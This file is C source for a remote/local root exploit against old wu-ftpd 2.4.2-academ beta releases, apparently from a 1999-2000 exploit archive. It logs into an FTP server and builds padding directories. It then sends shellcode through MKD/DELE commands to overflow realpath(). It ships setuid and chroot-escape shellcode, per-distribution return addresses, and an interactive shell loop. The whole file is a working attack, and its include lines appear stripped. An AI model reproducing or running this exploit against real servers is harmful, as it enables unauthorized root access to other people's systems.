/* * Remote/local exploit for wu-ftpd [12] through [18] * gcc w00f.c -o w00f -Wall -O2 * * Offsets/padding may need to be changed, depending on remote daemon * compilation options. Try offsets -5000 to 5000 in increments of 100. * * Note: you need to use -t >0 for -any- version lower than 18. * Coded by smiler and cossack * * wuftp2.4.2academ beta 12-18 exploit * * Mixter (mixter@MIXTER.ORG) * Sat, 1 May 1999 21:59:50 +0200 * * this works on a lot of wu-ftpd`s * also uses other commands than MKD to * exploit realpath() overflow * */ #include #include #include #include #include #include #include #include #include #include #include /* In a beta[12-17] shellcode_A overflow, we will not see responses to our commands. Add option -c (use chroot code) to fix this. */ unsigned char hellcode_a[]= "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01\x20" "\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c" "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd" "\x80\xe8\xcf\xff\xff\xff\xff\xff\xff" "\x0f\x42\x49\x4e\x0f\x53\x48"; unsigned char hellcode_b[]= "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39\xf3\x7c\x07\x80" "\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46" "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e" "\x31\xc9\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31" "\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x31\xc0\x88\x46\x03" "\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09\x89" "\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d" "\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80" "\xe8\x95\xff\xff\xff\xff\xff\xff\x43\x43\x30\x30\x31" "\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a"; char *Fgets(char *s,int size,FILE *stream); int ftp_command(char *buf,int success,FILE *out,char *fmt,...); int double_up(unsigned long blah,char *doh); int resolv(char *hostname,struct in_addr *addr); void fatal(char *string); int usage(char *program); int tcp_connect(struct in_addr host,unsigned short port); int parse_pwd(char *in,int *pwdlen); void RunShell(int thesock); struct type { unsigned long ret_address; unsigned char align; /* Use this only to offset \xff's used */ signed short pad_shift; /* how little/much padding */ unsigned char overflow_type; /* whether you have to DELE */ char *name; }; /* ret_pos is the same for all types of overflows, you only have to change the padding. This makes it neater, and gives the shellcode plenty of room for nops etc */ #define RET_POS 190 #define FTPROOT "/home/ftp" /* the redhat 5.0 exploit doesn't work at the moment...it must be some trite error i am overlooking. (the shellcode exits w/ code 0375) */ struct type types[]= { { 0xbffff340, 3, 60, 0, "BETA-18 (redhat 5.2)", }, { 0xbfffe30e, 3,-28, 1, "BETA-16 (redhat 5.1)", }, { 0xb2ffe356, 3,-28, 1, "BETA-15 (redhat 5.0)", }, { 0xbfffebc5, 3, 0, 1, "BETA-15 (slackware 3.3)", }, { 0xbffff3b3, 3, 0, 1, "BETA-15 (slackware 3.4)", }, { 0xbffff395, 3, 0, 1, "BETA-15 (slackware 3.6)", }, { 0,0,0,0,NULL } }; struct options { char start_dir[20]; unsigned char *shellcode; unsigned char chroot; char username[10]; char password[10]; int offset; int t; } opts; /* Bit of a big messy function, but hey, its only an exploit */ int main(int argc,char **argv) { char *argv0,ltr; char outbuf[1024], inbuf[1024], ret_string[5]; int pwdlen,ctr,d; FILE *cin; int fd; struct in_addr victim; argv0 = strdup(argv[0]); *opts.username = *opts.password = *opts.start_dir = 0; opts.chroot = opts.offset = opts.t = 0; opts.shellcode = hellcode_a; while ((d = getopt(argc,argv,"cs:o:t:"))!= -1) { switch (d) { case 'c': opts.shellcode = hellcode_b; opts.chroot = 1; break; case 's': strcpy(opts.start_dir,optarg); break; case 'o': opts.offset = atoi(optarg); break; case 't': opts.t = atoi(optarg); if ((opts.t < 0)||(opts.t>5)) { printf("Dont have that type!\n"); exit(-1); } } } argc -= optind; argv += optind; if (argc < 3) usage(argv0); if (!resolv(argv[0],&victim)) { perror("resolving"); exit(-1); } strcpy(opts.username,argv[1]); strcpy(opts.password,argv[2]); if ((fd = tcp_connect(victim,21)) < 0) { perror("connect"); exit(-1); } if (!(cin = fdopen(fd,"r"))) { printf("Couldn't get stream\n"); exit(-1); } Fgets(inbuf,sizeof(inbuf),cin); printf("%s",inbuf); if (ftp_command(inbuf,331,cin,"USER %s\n",opts.username)<0) fatal("Bad username\n"); if (ftp_command(inbuf,230,cin,"PASS %s\n",opts.password)<0) fatal("Bad password\n"); if (*opts.start_dir) if (ftp_command(inbuf,250,cin,"CWD %s\n",opts.start_dir)<0) fatal("Couldn't change dir\n"); if (ftp_command(inbuf,257,cin,"PWD\n")<0) fatal("PWD\n"); if (parse_pwd(inbuf,&pwdlen) < 0) fatal("PWD\n"); srand(time(NULL)); printf("Making padding directorys\n"); for (ctr = 0;ctr < 4;ctr++) { ltr = rand()%26 + 65; memset(outbuf,ltr,194); outbuf[194]=0; if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0) fatal("MKD\n"); if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0) fatal("CWD\n"); } /* Make padding directory */ ctr = 124 - (pwdlen - types[opts.t].align);//180 //ctr = 152 - (pwdlen - types[opts.t].align); ctr -= types[opts.t].pad_shift; if (ctr < 0) { exit(-1); } memset(outbuf,'A',ctr+1); outbuf[ctr] = 0; if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0) fatal("MKD\n"); if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0) fatal("CWD\n"); memset(outbuf,0x90,195); d=0; for (ctr = RET_POS-strlen(opts.shellcode);ctr<(RET_POS);ctr++) outbuf[ctr] = opts.shellcode[d++]; double_up(types[opts.t].ret_address-opts.offset,ret_string); strcpy(outbuf+RET_POS,ret_string); strcpy(outbuf+RET_POS+strlen(ret_string),ret_string); printf("Press any key to send shellcode...\n"); getchar(); if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0) fatal("MKD\n"); if (types[opts.t].overflow_type == 1) if (ftp_command(inbuf,250,cin,"DELE %s\n",outbuf)<0) fatal("DELE\n"); /* HEH. For type 1 style we add a dele command. This overflow occurs in delete() in ftpd.c. The cause is realpath() in realpath.c not checking bounds correctly, overwriting path[] in delete(). */ RunShell(fd); return(1); } void RunShell(int thesock) { int n; char recvbuf[1024]; fd_set rset; while (1) { FD_ZERO(&rset); FD_SET(thesock,&rset); FD_SET(STDIN_FILENO,&rset); select(thesock+1,&rset,NULL,NULL,NULL); if (FD_ISSET(thesock,&rset)) { n=read(thesock,recvbuf,1024); if (n <= 0) { printf("Connection closed\n"); exit(0); } recvbuf[n]=0; printf("%s",recvbuf); } if (FD_ISSET(STDIN_FILENO,&rset)) { n=read(STDIN_FILENO,recvbuf,1024); if (n>0) { recvbuf[n]=0; write(thesock,recvbuf,n); } } } return; } int double_up(unsigned long blah, char *doh) { int a; unsigned char *ptr,*ptr2; bzero(doh,6); ptr=doh; ptr2=(char *)&blah; for (a=0;a<4;a++) { *ptr++=*ptr2; if (*ptr2==0xff) *ptr++=0xff; ptr2++; } return(1); } int parse_pwd(char *in, int *pwdlen) { char *ptr1,*ptr2; /* 257 "/" is current directory */ ptr1 = strchr(in,'\"'); if (!ptr1) return(-1); ptr2 = strchr(ptr1+1,'\"'); if (!ptr2) return(-1); *ptr2 = 0; *pwdlen = strlen(ptr1+1); /* If its just "/" then it contributes nothing to the RET_POS */ if (*pwdlen==1) *pwdlen -= 1; printf("Home Dir = %s, Len = %d\n",ptr1+1,*pwdlen); return(1); } int tcp_connect(struct in_addr host,unsigned short port) { struct sockaddr_in serv; int fd; fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bzero(&serv,sizeof(serv)); memcpy(&serv.sin_addr,&host,sizeof(struct in_addr)); serv.sin_port = htons(port); serv.sin_family = AF_INET; if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0) { return(-1); } return(fd); } int ftp_command(char *buf,int success,FILE *out,char *fmt,...) { va_list va; char line[1200]; int val; va_start(va,fmt); vsprintf(line,fmt,va); va_end(va); if (write(fileno(out),line,strlen(line)) < 0) return(-1); bzero(buf,200); while(1) { Fgets(line,sizeof(line),out); #ifdef DEBUG printf("%s",line); #endif if (*(line+3)!='-') break; } strncpy(buf,line,200); val = atoi(line); if (success != val) return(-1); return(1); } void fatal(char *string) { printf("%s",string); exit(-1); } char *Fgets(char *s,int size,FILE *stream) { char *ptr; ptr = fgets(s,size,stream); //if (!ptr) //fatal("Disconnected\n"); return(ptr); } int resolv(char *hostname,struct in_addr *addr) { struct hostent *res; if (inet_aton(hostname,addr)) return(1); res = gethostbyname(hostname); if (res == NULL) return(0); memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr)); return(1); } int usage(char *program) { fprintf(stderr,"Usage: %s [-c] [-s start_dir]\n",program); fprintf(stderr,"\t[-o offset] [-t type]\n"); fprintf(stderr,"types:\n"); fprintf(stderr,"0 - %s\n", types[0].name); fprintf(stderr,"1 - %s\n", types[1].name); fprintf(stderr,"2 - %s\n", types[2].name); fprintf(stderr,"3 - %s\n", types[3].name); fprintf(stderr,"4 - %s\n", types[4].name); fprintf(stderr,"5 - %s\n", types[5].name); fprintf(stderr,"\n"); exit(0); } /* www.hack.co.za [2000]*/